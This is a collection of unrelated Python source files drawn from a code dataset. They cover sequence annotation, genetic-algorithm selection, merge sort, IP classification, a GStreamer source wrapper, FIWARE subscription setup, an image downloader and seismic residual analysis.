result.append(annotation)\n if extend_query:\n result.extend(\n annotation.get_annotations_matching(\n annotation_type, name, extend_query=extend_query\n )\n )\n return result\n\n def get_region_covering_all(\n self, annotations, feature_class=None, extend_query=False\n ):\n if extend_query:\n annotations = [annot._projected_to_base(self) for annot in annotations]\n spans = []\n annotation_types = []\n for annot in annotations:\n spans.extend(annot.map.spans)\n if annot.type not in annotation_types:\n annotation_types.append(annot.type)\n map = Map(spans=spans, parent_length=len(self))\n map = map.covered() # No overlaps\n name = \",\".join(annotation_types)\n\n if feature_class is None:\n feature_class = _Feature\n\n return feature_class(self, map, type=\"region\", name=name)\n\n def get_by_annotation(self, annotation_type, name=None, ignore_partial=False):\n \"\"\"yields the sequence segments corresponding to the specified\n annotation_type and name one at a time.\n\n Parameters\n ----------\n ignore_partial\n if True, annotations that extend beyond the\n current sequence are ignored.\n\n \"\"\"\n for annotation in self.get_annotations_matching(annotation_type, name):\n try:\n seq = self[annotation.map]\n except ValueError as msg:\n if ignore_partial:\n continue\n raise msg\n seq.info[\"name\"] = annotation.name\n yield seq\n\n def _annotations_nucleic_reversed_on(self, new):\n \"\"\"applies self.annotations to new with coordinates adjusted for\n reverse complement.\"\"\"\n assert len(new) == len(self)\n annotations = []\n for annot in self.annotations:\n new_map = annot.map.nucleic_reversed()\n annotations.append(annot.__class__(new, new_map, annot))\n new.attach_annotations(annotations)\n\n def _projected_to_base(self, base):\n raise NotImplementedError\n\n\nclass _Serialisable:\n def to_rich_dict(self):\n \"\"\"returns {'name': name, 'seq': sequence, 'moltype': moltype.label}\"\"\"\n data = self._serialisable.copy()\n # the first constructor argument will be the instance recreating\n # so we pop out the two possible keys\n data.pop(\"parent\", None)\n data.pop(\"seq\", None)\n if \"original\" in data:\n data.pop(\"original\")\n # convert the map to coordinates\n data[\"map\"] = data.pop(\"map\").to_rich_dict()\n data = dict(annotation_construction=data)\n data[\"type\"] = get_object_provenance(self)\n data[\"version\"] = __version__\n\n try:\n annotations = [a.to_rich_dict() for a in self.annotations]\n if annotations:\n data[\"annotations\"] = annotations\n except AttributeError:\n pass\n\n return data\n\n def to_json(self):\n return json.dumps(self.to_rich_dict())\n\n\nclass _Feature(_Annotatable, _Serialisable):\n qualifier_names = [\"type\", \"name\"]\n\n def __init__(self, parent, map, original=None, **kw):\n d = locals()\n exclude = (\"self\", \"__class__\", \"kw\")\n self._serialisable = {k: v for k, v in d.items() if k not in exclude}\n self._serialisable.update(kw)\n\n assert isinstance(parent, _Annotatable), parent\n self.parent = parent\n self.attached = False\n if isinstance(map, Map):\n assert map.parent_length == len(parent), (map, len(parent))\n else:\n map = Map(locations=map, parent_length=len(parent))\n\n self.map = map\n if hasattr(parent, \"base\"):\n self.base = parent.base\n self.base_map = parent.base_map[self.map]\n else:\n self.base = parent\n self.base_map = map\n\n for n in self.qualifier_names:\n if n in kw:\n setattr(self, n, kw.pop(n))\n else:\n val = getattr(original, n)\n setattr(self, n, val)\n self._serialisable[n] = val\n assert not kw, kw\n\n def get_drawable(self):\n \"\"\"returns plotly trace\"\"\"\n from cogent3.draw.drawable import make_shape\n\n result = make_shape(type_=self)\n return result\n\n def attach(self):\n self.parent.attach_annotations([self])\n\n def detach(self):\n self.parent.detach_annotations([self])\n\n def _mapped(self, slicemap):\n name = \"%s of %s\" % (repr(slicemap), self.name)\n return self.__class__(self, slicemap, type=\"slice\", name=name)\n\n def get_slice(self, complete=True):\n \"\"\"The corresponding sequence fragment. If 'complete' is true\n and the full length of this feature is not present in the sequence\n then this method will fail.\"\"\"\n map = self.base_map\n if not (complete or map.complete):\n map = map.without_gaps()\n return self.base[map]\n\n def without_lost_spans(self):\n \"\"\"Keeps only the parts which are actually present in the underlying sequence\"\"\"\n if self.map.complete:\n return self\n keep = self.map.nongap()\n new = self.__class__(self.parent, self.map[keep], original=self)\n if self.annotations:\n sliced_annots = self._sliced_annotations(new, keep)\n new.attach_annotations(sliced_annots)\n return new\n\n def as_one_span(self):\n new_map = self.map.get_covering_span()\n return self.__class__(self.parent, new_map, type=\"span\", name=self.name)\n\n def get_shadow(self):\n return self.__class__(\n self.parent, self.map.shadow(), type=\"region\", name=\"not \" + self.name\n )\n\n def __len__(self):\n return len(self.map)\n\n def __repr__(self):\n name = getattr(self, \"name\", \"\")\n if name:\n name = ' \"%s\"' % name\n return \"%s%s at %s\" % (self.type, name, self.map)\n\n def _projected_to_base(self, base):\n if self.parent == base:\n return self.__class__(base, self.map, original=self)\n return self.remapped_to(base, self.parent._projected_to_base(base).map)\n\n def remapped_to(self, grandparent, gmap):\n map = gmap[self.map]\n return self.__class__(grandparent, map, original=self)\n\n def get_coordinates(self):\n \"\"\"returns sequence coordinates of this Feature as\n [(start1, end1), ...]\"\"\"\n return self.map.get_coordinates()\n\n def copy_annotations_to(self, annotatable):\n \"\"\"copies annotations to another annotatable object\n\n Parameters\n ----------\n annotatable : _Annotatable\n another annotatable object\n\n Returns\n -------\n the processed annotatable object\n \"\"\"\n assert len(annotatable) == len(self.parent)\n serialisable = copy.deepcopy(self._serialisable)\n serialisable[\"parent\"] = annotatable\n new = self.__class__(**serialisable)\n annotatable.attach_annotations([new])\n return annotatable\n\n\nclass AnnotatableFeature(_Feature):\n \"\"\"These features can themselves be annotated.\"\"\"\n\n def _mapped(self, slicemap):\n new_map = self.map[slicemap]\n return self.__class__(self.parent, new_map, type=\"slice\", name=\"\")\n\n def remapped_to(self, grandparent, gmap):\n new = _Feature.remapped_to(self, grandparent, gmap)\n new.annotations = [annot for annot in self.annotations if annot.map.useful]\n return new\n\n\nclass Source(_Feature):\n # Has two maps - where it is on the sequence it annotates, and\n # where it is on the original sequence.\n type = \"source\"\n\n def __init__(self, seq, map, accession, basemap):\n d = locals()\n exclude = (\"self\", \"__class__\")\n self._serialisable = {k: v for k, v in d.items() if k not in exclude}\n\n self.accession = accession\n self.name = repr(basemap) + \" of \" + accession\n self.parent = seq\n self.attached = False\n self.map = map\n self.basemap = basemap\n\n def remapped_to(self, grandparent, gmap):\n new_map = gmap[self.map]\n # unlike other annotations, sources are divisible, so throw\n # away gaps. since they don't have annotations it's simple.\n ng = new_map.nongap()\n new_map = new_map[ng]\n basemap = self.basemap[ng]\n return self.__class__(grandparent, new_map, self.accession, basemap)\n\n def without_lost_spans(self):\n return self\n\n\ndef Feature(parent, type, name, spans, value=None):\n if isinstance(spans, Map):\n map = spans\n assert map.parent_length == len(parent), (map, len(parent))\n else:\n map = Map(locations=spans, parent_length=len(parent))\n return AnnotatableFeature(parent, map, type=type, name=name)\n\n\nclass _Variable(_Feature):\n qualifier_names = _Feature.qualifier_names + [\"xxy_list\"]\n\n def without_lost_spans(self):\n if self.map.complete:\n return self\n raise NotImplementedError\n\n\ndef Variable(parent, type, name, xxy_list):\n \"\"\"A variable that has 2 x-components (start, end) and a single y component.\n Currently used by Vestige - BMC Bioinformatics, 6:130, 2005.\"\"\"\n start = min([min(x1, x2) for ((x1, x2), y) in xxy_list])\n end = max([max(x1, x2) for ((x1, x2), y) in xxy_list])\n if start != 0:\n xxy_list = [((x1 - start, x2 - start), y) for ((x1, x2), y) in xxy_list]\n end -= start\n # values = [location.Span(x1-start, x2-start, True, True, y) for ((x1, x2), y) in xxy]\n map = Map([(start, end)], parent_length=len(parent))\n return _Variable(parent, map, type=type, name=name, xxy_list=xxy_list)\n\n\nclass _SimpleVariable(_Feature):\n qualifier_names = _Feature.qualifier_names + [\"data\"]\n\n def without_lost_spans(self):\n if self.map.complete:\n return self\n keep = self.map.nongap()\n indices = numpy.concatenate([list(span) for span in keep.spans])\n data = numpy.asarray(self.data)[indices]\n new = self.__class__(self.parent, self.map[keep], data=data, original=self)\n return new\n\n\ndef SimpleVariable(parent, type, name, data):\n \"\"\"A simple variable type of annotation, such as a computed property of\n a sequence that varies spatially.\"\"\"\n assert len(data) == len(parent), (len(data), len(parent))\n map = Map([(0, len(data))], parent_length=len(parent))\n return _SimpleVariable(parent, map, type=type, name=name, data=data)\n","sub_path":"src/cogent3/core/annotation.py","file_name":"annotation.py","file_ext":"py","file_size_in_byte":17249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"342144846","text":"import random\nfrom MAST.structopt_stem.tools import get_best\n\ndef rank(pop, nkeep, Optimizer):\n \"\"\"Selection function that chooses structures to survive and orders them based on their relative ranking\n \"\"\"\n pop = get_best(pop,len(pop))\n newpop = []\n prob = []\n cumprob = []\n for i in range(len(pop)):\n rankprob = float((nkeep-i)) / float(sum(range(nkeep+1)))\n prob.append(rankprob)\n cumprob.append(sum(prob))\n prevcounter = None\n for i in range(nkeep):\n rand = random.random()\n counter = 0\n while cumprob[counter] < rand:\n counter += 1\n if prevcounter==counter:\n while True:\n a = random.choice(pop)\n if a.index != prevcounter:\n break\n newpop.append(random.choice(pop))\n prevcounter = a.index\n else:\n newpop.append(pop[counter])\n prevcounter = counter\n return newpop","sub_path":"MAST/structopt_stem/selection/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"277578038","text":"from __future__ import absolute_import, unicode_literals\n\nimport gobject\n\nimport pygst\npygst.require('0.10')\nimport gst # noqa\n\n\nclass IcySrc(gst.Bin, gst.URIHandler):\n __gstdetails__ = ('IcySrc',\n 'Src',\n 'HTTP src wrapper for icy:// support.',\n 'Mopidy')\n\n srcpad_template = gst.PadTemplate(\n 'src', gst.PAD_SRC, gst.PAD_ALWAYS,\n gst.caps_new_any())\n\n __gsttemplates__ = (srcpad_template,)\n\n def __init__(self):\n super(IcySrc, self).__init__()\n self._httpsrc = gst.element_make_from_uri(gst.URI_SRC, 'http://')\n try:\n self._httpsrc.set_property('iradio-mode', True)\n except TypeError:\n pass\n self.add(self._httpsrc)\n\n self._srcpad = gst.GhostPad('src', self._httpsrc.get_pad('src'))\n self.add_pad(self._srcpad)\n\n @classmethod\n def do_get_type_full(cls):\n return gst.URI_SRC\n\n @classmethod\n def do_get_protocols_full(cls):\n return [b'icy', b'icyx']\n\n def do_set_uri(self, uri):\n if uri.startswith('icy://'):\n return self._httpsrc.set_uri(b'http://' + uri[len('icy://'):])\n elif uri.startswith('icyx://'):\n return self._httpsrc.set_uri(b'https://' + uri[len('icyx://'):])\n else:\n return False\n\n def do_get_uri(self):\n uri = self._httpsrc.get_uri()\n if uri.startswith('http://'):\n return b'icy://' + uri[len('http://'):]\n else:\n return b'icyx://' + uri[len('https://'):]\n\n\ndef register():\n # Only register icy if gst install can't handle it on it's own.\n if not gst.element_make_from_uri(gst.URI_SRC, 'icy://'):\n gobject.type_register(IcySrc)\n gst.element_register(\n IcySrc, IcySrc.__name__.lower(), gst.RANK_MARGINAL)\n","sub_path":"python/mopidy/2015/12/icy.py","file_name":"icy.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"170127907","text":"import json\nimport csv\nimport requests\nimport time\nfrom crate import client\nimport os\nimport datetime\n\nimport docker\n##DA UTILIZZARE SOLO ALL'INIZIO\n\n\n\n\n\nurl = \"http://localhost:1026/v2/subscriptions\"\nheaders = {'header': 'Content-Type: application/json'}\nresponse = requests.request(\"GET\", url, headers=headers, verify=False)\n\ndata=json.loads(response.text.encode('utf-8'))\n\nfor n in range(len(data)):\n\tdatax=data[n]['id']\n\tprint(datax)\n\t\n\turl=f\"http://localhost:1026/v2/subscriptions/{datax}\"\n\turl1=url\n\theaders= {'Content-Type' : 'application/json'}\n\tpayload={}\n\tresponse=requests.request('DELETE', url1)\n\tprint(response.text.encode('utf-8'))\nwith open(\"./Threshold_WaterStation.csv\", newline=\"\",encoding=\"ISO-8859-1\") as filecsv1:\n\t\t#Ora prendiamo i valori dal Threshold csv\n\t\t#header1=nomi dei parametri col threshold\n\t\t#dati1= riga dei valori di soglia\n\t\tlettore1=csv.reader(filecsv1,delimiter=\",\")\n\t\theader1=next(lettore1)\n\t\tdati1=[row1 for row1 in lettore1]\n\t\t\n\t\t#per ogni header vedo se c'è almeno una sub sul limite, se non c'è creerò io stesso\n\t\t\n\t\tfor n in range(len(header1)):\n\t\t\tprint(header1[n])\n\t\t\tprint(dati1[0][n])\n\t\t\tf=open(\"my_ip.txt\",\"r\")\n\t\t\tmy_ip=f.read()\n\t\t\tf.close()\n\t\t\t\n\n\t\t\turl = \"http://localhost:1026/v2/subscriptions\"\n\t\t\tpayload =f\"{{\\\"description\\\":\\\"Notify me of Overcoming threshold {header1[n]} parameter in WaterStation:1\\\",\\\"subject\\\": {{\\\"entities\\\": [{{\\\"idPattern\\\": \\\"WaterStation:1\\\", \\\"type\\\": \\\"WaterStation\\\"}}],\\\"condition\\\": {{\\\"attrs\\\": [\\\"{header1[n]}\\\"],\\\"expression\\\": {{\\\"q\\\": \\\"{header1[n]} > {dati1[0][n]}\\\"}}}}}},\\\"notification\\\": {{\\\"http\\\": {{\\\"url\\\": \\\"{my_ip}\\\"}},\\\"attrs\\\":[\\\"{header1[n]}\\\",\\\"dateModified\\\"],\\\"metadata\\\":[\\\"dateModified\\\"]}},\\\"throttling\\\": 5}}\"\n\t\t\tpayload1=f\"{{\\\"description\\\":\\\"change {header1[n]} parameter in WaterStation:1\\\",\\\"subject\\\": {{\\\"entities\\\": [{{\\\"idPattern\\\": \\\"WaterStation:1\\\", \\\"type\\\": \\\"WaterStation\\\"}}],\\\"condition\\\": {{\\\"attrs\\\": [\\\"{header1[n]}\\\"]}}}},\\\"notification\\\": {{\\\"http\\\": {{\\\"url\\\": \\\"http://quantumleap:8668/v2/notify\\\"}},\\\"attrs\\\":[\\\"{header1[n]}\\\",\\\"dateModified\\\"],\\\"metadata\\\":[\\\"dateModified\\\"]}},\\\"throttling\\\": 5}}\"\n\t\t\tprint(payload)\n\t\t\tprint(payload1)\n\t\t\ty=json.loads(payload)\n\t\t\tpayload=json.dumps(y)\n\t\t\tx=json.loads(payload1)\n\t\t\tpayload1=json.dumps(x)\n\t\t\theaders= {'Content-Type' : 'application/json'}\n\t\t\tresponse = requests.request(\"POST\", url, headers=headers, data = payload)\n\t\t\tresponse1 = requests.request(\"POST\", url, headers=headers, data = payload1)\n\t\t\t\n\t\t\tprint(response.text.encode('utf-8'))\n\t\t\tprint(response1.text.encode('utf-8'))\n\t\t\n\t\t#Prendiamo già tutto il data inerente alle subs\n\t#data= tutte le sub che ho\n\n","sub_path":"script_delete.py","file_name":"script_delete.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"652444728","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.8 (3413)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/test/img_downloader.py\n# Compiled at: 2020-04-18 14:24:17\n# Size of source mod 2**32: 1982 bytes\nimport requests, os\nfrom tqdm import tqdm\nfrom urllib.parse import urlparse\ntry:\n from bs4 import BeautifulSoup as bs\nexcept ImportError:\n raise Exception('Please install bs4 package')\nelse:\n\n def is_valid(url):\n \"\"\"\n Checks whether `url` is a valid URL.\n \"\"\"\n parsed = urlparse(url)\n return bool(parsed.netloc) and bool(parsed.scheme)\n\n\n def get_all_images(url):\n \"\"\"\n Returns all image URLs on a single `url`\n \"\"\"\n soup = bs(requests.get(url).content, 'html.parser')\n filenames = [x.attrs.get('href') for x in soup.find_all('a') if x.attrs.get('href').__contains__('bmp')]\n urls = [os.path.join(url, filename) for filename in filenames]\n return urls\n\n\n def download_file(url, pathname):\n \"\"\"\n Downloads a file given an URL and puts it in the folder `pathname`\n \"\"\"\n if not os.path.isdir(pathname):\n os.makedirs(pathname)\n response = requests.get(url, stream=True)\n file_size = int(response.headers.get('Content-Length', 0))\n filename = os.path.join(pathname, url.split('/')[(-1)])\n progress = tqdm((response.iter_content(1024)), f\"Downloading {filename}\", total=file_size, unit='B', unit_scale=True, unit_divisor=1024)\n with open(filename, 'wb') as (f):\n for data in progress:\n f.write(data)\n progress.update(len(data))\n\n\n def download_stack(url, path):\n imgs = get_all_images(url)\n for img in imgs:\n download_file(img, path)\n\n\n if __name__ == '__main__':\n download_stack('https://www.math.purdue.edu/~lucier/PHOTO_CD/BMP_IMAGES/', os.path.join(os.getcwd(), 'data'))","sub_path":"pycfiles/color_matcher-0.2.2-py3.8/img_downloader.cpython-38.py","file_name":"img_downloader.cpython-38.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294430108","text":"# From interactivepython.org\n\n\ndef mergeSort(alist):\n print(\"Splitting \", alist)\n if len(alist) > 1:\n mid = len(alist) // 2\n left_list = alist[:mid]\n right_list = alist[mid:]\n\n mergeSort(left_list)\n mergeSort(right_list)\n\n # i = left counter, j = right counter, k = master counter\n i = 0\n j = 0\n k = 0\n while i < len(left_list) and j < len(right_list):\n if left_list[i] < right_list[j]:\n alist[k] = left_list[i]\n i += 1\n else:\n alist[k] = right_list[j]\n j += 1\n k += 1\n\n while i < len(left_list):\n alist[k] = left_list[i]\n i += 1\n k += 1\n\n while j < len(right_list):\n alist[k] = right_list[j]\n j += 1\n k += 1\n print(\"Merging \", alist)\n\n\nalist = [54, 26, 93, 17, 77, 31, 44, 55, 20]\nmergeSort(alist)\nprint(alist)\n\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n# ============================================\n# Merge Sort Python Solution\n# From: http://markmiyashita.com/interviews/problems/merge_sort/\n#\n\ndef merge_sort(lst):\n \"\"\"Sorts the input list using the merge sort algorithm.\n\n #>>> lst = [4, 5, 1, 6, 3]\n #>>> merge_sort(lst)\n [1, 3, 4, 5, 6]\n \"\"\"\n if len(lst) <= 1:\n return lst\n mid = len(lst) // 2\n left = merge_sort(lst[:mid])\n right = merge_sort(lst[mid:])\n return merge(left, right)\n\n\ndef merge(left, right):\n \"\"\"Takes two sorted lists and returns a single sorted list by comparing the\n elements one at a time.\n\n >>> left = [1, 5, 6]\n >>> right = [2, 3, 4]\n >>> merge(left, right)\n [1, 2, 3, 4, 5, 6]\n \"\"\"\n # print(\"LEFT_LIST: \", left,\" RIGHT_LIST: \", right)\n\n if not left:\n return right\n if not right:\n return left\n if left[0] < right[0]:\n # print(\"MERGED: \", [left[0]] + merge(left[1:], right))\n return [left[0]] + merge(left[1:], right)\n # print(\"MERGED\", [right[0]] + merge(left, right[1:]))\n return [right[0]] + merge(left, right[1:])\n\n# alist = [54, 26, 93, 17, 77, 31, 44, 55, 20, 55]\n# print(merge_sort(alist))\n#\n#\n#\n#\n#\n# One more way of doing merge sort\n\n# Merge 2 sorted lists\ndef merge(a, b):\n i = 0\n j = 0\n result = []\n while i < len(a) and j < len(b):\n if a[i] <= b[j]:\n result.append(a[i])\n i += 1\n else:\n result.append(b[j])\n j += 1\n if i >= len(a):\n a = b\n i = j\n result.extend(a[i:])\n print (\"result: \", result)\n return result\n\n\n# Sort a list of numbers\n# Even though the name is \"array\", they are always lists\ndef mergesort(array):\n l = len(array)\n if l <= 1:\n return array\n m = l // 2\n a = mergesort(array[0:m])\n b = mergesort(array[m:])\n print (\"left: \", a,\"right: \", b)\n return merge(a, b)\n\n\nalist = [-23, 55, 93, 54, 26, 93, 17, 77, 31, 44, 55, 20]\nprint(mergesort(alist))\n","sub_path":"Sorting_Merge_Sort.py","file_name":"Sorting_Merge_Sort.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"582282452","text":"from sys import argv\n\n\nclass Solution:\n @staticmethod\n def print_response(ip_class, designation):\n print(f\"Class: {ip_class}, Designation: {designation}\")\n\n @staticmethod\n def validate_ip(provided_ip):\n \"\"\"\n This method checks for everything possible\n If anything goes wrong it will raise an appropriate Exception\n Else, it will return the ip list of octets in decimal, of course.\n \"\"\"\n # checks if . or / dont exist\n if \".\" not in provided_ip or \"/\" not in provided_ip:\n raise Exception(\"Invalid IP adress format. Try again.\")\n\n provided_ip = provided_ip.split(\"/\")\n ip = provided_ip[0].split(\".\")\n\n # check for the right amount of octets\n if len(ip) != 4:\n raise Exception(\"IP adress should have 4 octets o.o.o.o\")\n\n # check if the octets are really octets or not\n for octet in ip:\n # checks for correct length\n if len(octet) < 1 or len(octet) > 3:\n raise Exception(\n \"Octets length shouldn't be greater than 3 digits nor less than 1\")\n\n # checks for any non-digit characters\n if not octet.isdigit():\n raise Exception(\"Only use digits 0-9.\")\n # checks if digits are in the corrects range\n if int(octet) < 0 or int(octet) > 255:\n print(octet)\n raise Exception(\"octets should be in range 0-255\")\n\n # finally return the usuable form\n return list(map(int, ip)) # turn every element to digits\n\n @staticmethod\n def classify():\n # check whether the correct amount of arguments are provided\n if len(argv) != 2:\n raise Exception(\n \"Error, try: python main.py \")\n\n user_input = argv[1]\n\n # check if the ip provided is valid then returns ip in a list form\n ip = Solution.validate_ip(user_input)\n\n octet1, octet2, octet3, octet4 = ip\n\n # Class A\n if octet1 >= 1 and octet1 <= 127:\n if octet1 == 127 and (octet2, octet3, octet4) != (0, 0, 0):\n Solution.print_response(\"A\", \"Special\")\n elif octet1 == 10:\n Solution.print_response(\"A\", \"Private\")\n else:\n Solution.print_response(\"A\", \"Public\")\n\n # Class B\n\n if octet1 >= 128 and octet1 <= 191:\n if octet1 == 172 and octet2 >= 16 and octet2 <= 32:\n Solution.print_response(\"B\", \"Private\")\n else:\n Solution.print_response(\"B\", \"Public\")\n\n # Class C\n\n if octet1 >= 192 and octet1 <= 223:\n if octet1 == 192 and octet2 == 168:\n Solution.print_response(\"C\", \"Private\")\n else:\n Solution.print_response(\"C\", \"Public\")\n\n # Class D\n\n if octet1 >= 224 and octet1 <= 239:\n Solution.print_response(\"D\", \"Special\")\n\n # Class E\n\n if octet1 >= 240 and octet1 <= 255:\n Solution.print_response(\"E\", \"Special\")\n\n\nif __name__ == '__main__':\n Solution.classify()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"315095127","text":"import requests\nimport sys \nimport json\n\nkey = sys.argv.pop(1)\n\njudge = {\n \"paper\":{\n \"paper\": \"引き分け!\",\n \"rock\": \"あなたの勝ち!\",\n \"scissors\":\"あなたの負け!\"\n },\n \"rock\":{\n \"paper\": \"あなたの負け!\",\n \"rock\": \"引き分け!\",\n \"scissors\":\"あなたの勝ち!\"\n },\n \"scissors\":{\n \"paper\": \"あなたの勝ち!\",\n \"rock\": \"あなたの負け!\",\n \"scissors\":\"引き分け!\" \n }\n}\n\nr = requests.get('https://nh-a811fa16.herokuapp.com/').text\nr = list(json.loads(r).values())[0]\n\nresult = judge[key][r]\n\nprint(\"you(\" + key + \") / me(\" + r + \") : \" + result)","sub_path":"q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"504771626","text":"from pyrocko.gf import *\nfrom pyrocko import cake, orthodrome, model, util, gui_util, trace\nimport numpy as num\nfrom progressbar import ProgressBar\nimport logging\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport math\n\nlogging.basicConfig(level=logging.INFO)\n\ncolors = \"rgbyc\"\n\nclass ResidualEstimator():\n \"\"\" :param outlier_threshold: sets a threshold [s] beyond which residuals are\n going to be ignored \"\"\"\n def __init__(self, phasemapping=None, outlier_threshold=None):\n self.phasemapping = phasemapping\n self.outlier_threshold = outlier_threshold\n\n def estimate(self, phase, station):\n pass\n\n def map_phasenames(self, phasename):\n if phasename in self.phasemapping:\n phases = [phasemap for phasemap in self.phasemapping[phasename]]\n else:\n phases = [phasename]\n return phases\n\n def return_residual(self, phase, t):\n res = t - (phase.tmin-phase.get_event().time)\n if abs(res)\"\n\nclass CakeResiduals(ResidualEstimator):\n def __init__(self, **kwargs):\n self.model = kwargs.pop('model')\n ResidualEstimator.__init__(self, **kwargs)\n\n def estimate(self, phase, station):\n event = phase.get_event()\n distance = orthodrome.distance_accurate50m(station, event)*cake.m2d\n phasenames = self.map_phasenames(phase.get_phasename())\n phases = [cake.PhaseDef(pn) for pn in phasenames]\n arrivals = self.model.arrivals(distances=[distance],\n phases=phases,\n zstart=event.depth)\n if len(arrivals)==0:\n logging.warning('no arrivals: %s'%self)\n \n t = min(arrivals, key=lambda x:x.t).t\n return self.return_residual(phase, t)\n \n def __str__(self):\n return \"CakeResiduals\"\n\nclass GFStoreResiduals(ResidualEstimator):\n def __init__(self, **kwargs):\n self.store = kwargs.pop('store')\n ResidualEstimator.__init__(self, **kwargs)\n\n def estimate(self, phase, station):\n distance = orthodrome.distance_accurate50m(station, phase.get_event())*cake.m2d\n phasenames = self.map_phasenames(phase.get_phasename())\n phase_str = \"first(%s)\"%(\"|\".join(phasenames))\n t = self.store.t(phase_str, (phase.get_event().depth, distance))\n return self.return_residual(phase, t)\n \n def __str__(self):\n return \"GFStoreResiduals\"\n\nclass ResidualMarker(gui_util.PhaseMarker):\n \"\"\"subclass of PhaseMarker but with the option to calculate residuals using a\n certain earthmodel.\"\"\" \n def __init__(self, *args, **kwargs):\n gui_util.PhaseMarker.__init__(self, *args, **kwargs)\n self.residual = None\n self.residual_estimator = None\n \n def set_residual_estimator(self, residual_estimator):\n self.residual_estimator = residual_estimator\n \n def set_residual(self, station):\n self.residual = self.residual_estimator.estimate(self, station)\n\ndef set_residuals(picks, stations):\n \"\"\"Process and set the residuals for ResidualMarker objects. \n\n :param stations: list of stations accociated to markers\n \"\"\"\n stations = dict(zip([s.nsl() for s in stations], stations))\n p = ProgressBar(maxval=len(picks)).start()\n for i, pick in enumerate(picks):\n if pick.one_nslc()[:3] not in stations:\n logging.debug(\"missing station %s.%s.%s.%s\" % pick.one_nslc())\n continue\n pick.set_residual(station=stations[pick.one_nslc()[:3]])\n p.update(i)\n p.finish()\n\ndef read_data(fn):\n \"\"\"Read a buletin from the IG CAS website.\n\n Creates objects of type ResidualMarker (subclass of pyrocko.gui_util.PhaseMarker) and pyrocko.model.Event.\n \"\"\"\n picks = []\n events = []\n with open(fn, 'r') as f:\n for line in f.readlines():\n odate, eventid, otime, lon, _, lat, _, _, depth, _, _, mag, stat, phase_id, polarity, date, t, a = line.split()\n otime = util.str_to_time('%s %s'%(odate, otime))\n event = model.Event(lat=float(lat), \n lon=float(lon),\n depth=float(depth),\n time=otime)\n t_pick = util.str_to_time('%s %s'%(date, t))\n pick = ResidualMarker(event=event,\n tmin=float(t_pick),\n tmax=float(t_pick), \n nslc_ids=[('', stat, '', '*'),],\n phasename=phase_id,\n polarity=int(polarity),\n event_time=otime,\n event_hash=event.get_hash())\n \n if abs(t_pick-otime)>30:\n continue\n picks.append(pick)\n events.append(event)\n\n return picks, events\n\ndef sort_resdiduals(picks):\n \"\"\"returns a dict as follows:\n\n results[nslc_id][phasename] = [residual1, residual2, ..., residualn]\n \"\"\"\n results = {}\n for p in picks:\n nslc_id = p.one_nslc()\n if not nslc_id in results.keys():\n results[nslc_id] = {}\n \n subresults = results[nslc_id]\n if not p.get_phasename() in subresults.keys():\n subresults[p.get_phasename()] = []\n \n subresults[p.get_phasename()].append(p.residual)\n \n return results\n\ndef median_residuals(results, save=None):\n median = {}\n savestr = ''\n for nslc_id, phasename_res in results.items():\n for phasename, residuals in phasename_res.items():\n if not nslc_id[:3] in median.keys():\n median[nslc_id[:3]] = {}\n if not all(r is None for r in residuals):\n a = num.array(residuals)\n med = num.median(a[a!=num.array(None)])\n else:\n med = None\n median[nslc_id[:3]][phasename] = med\n if save:\n savestr+=\"%s %s %s\\n\" %(\".\".join(nslc_id), phasename, med)\n\n if save:\n with open(save, 'w') as f:\n f.write(savestr)\n return median\n\ndef get_fig_axs(num_rows=None, num_subplots=None):\n if num_subplots==1:\n fig, axs = plt.subplots(1,1)\n axs = [[axs]]\n else:\n if num_rows==None:\n num_rows = int(math.ceil(num.sqrt(num_subplots)))\n fig, axs = plt.subplots(num_rows,\n 1+int(num_subplots/num_rows),\n figsize=(12, 12),\n sharex=False)\n return fig, axs\n\ndef residual_hist(residuals, title=None, fn=None):\n \"\"\"\n plot histograms from *residuals*\n\n :param residuals: dict of dict of list of residuals\n :param num_subplots: total number of subplots needed\n :param fn: if not `None` a filename to save histograms\n \"\"\"\n num_subplots = has_data(residuals)\n num_rows = int(math.ceil(num.sqrt(num_subplots)))\n fig, axs = get_fig_axs(num_subplots=num_subplots)\n count = 0\n for nslc_id, res_p_s in residuals.items():\n ax = axs[count%num_rows][int(count/num_rows)]\n histdata = []\n labels = []\n for phasename, res in res_p_s.items():\n res = filter(lambda x: x is not None, res)\n if len(res)!=0:\n histdata.append(res)\n labels.append(phasename)\n \n if len(histdata)==0:\n continue\n else:\n ax.hist(histdata, label=labels, bins=15, alpha=1.0)\n ax.set_title(\".\".join(nslc_id[:3]))\n ax.locator_params(nbins=5)\n count += 1\n\n ax.legend()\n fig.tight_layout()\n fig.subplots_adjust(bottom=0.05, top=0.95, right=0.95, left=0.05, wspace=0.2,\n hspace=0.2)\n \n if title:\n fig.suptitle(title)\n\n if fn:\n fig.savefig(fn)\n\ndef has_data(results):\n need = 0\n saw = []\n for nslc_id, rs in results.items():\n for phasename, residual in rs.items():\n if not all(v is None for v in residual) and nslc_id not in saw:\n need+=1\n saw.append(nslc_id)\n break\n else:\n continue\n \n return need\n\n\ndef interrelation(picks, interest=\"depth\", stations=None):\n \"\"\":param interests: list of things you are interested in (depth|distance)\"\"\"\n if stations:\n station = 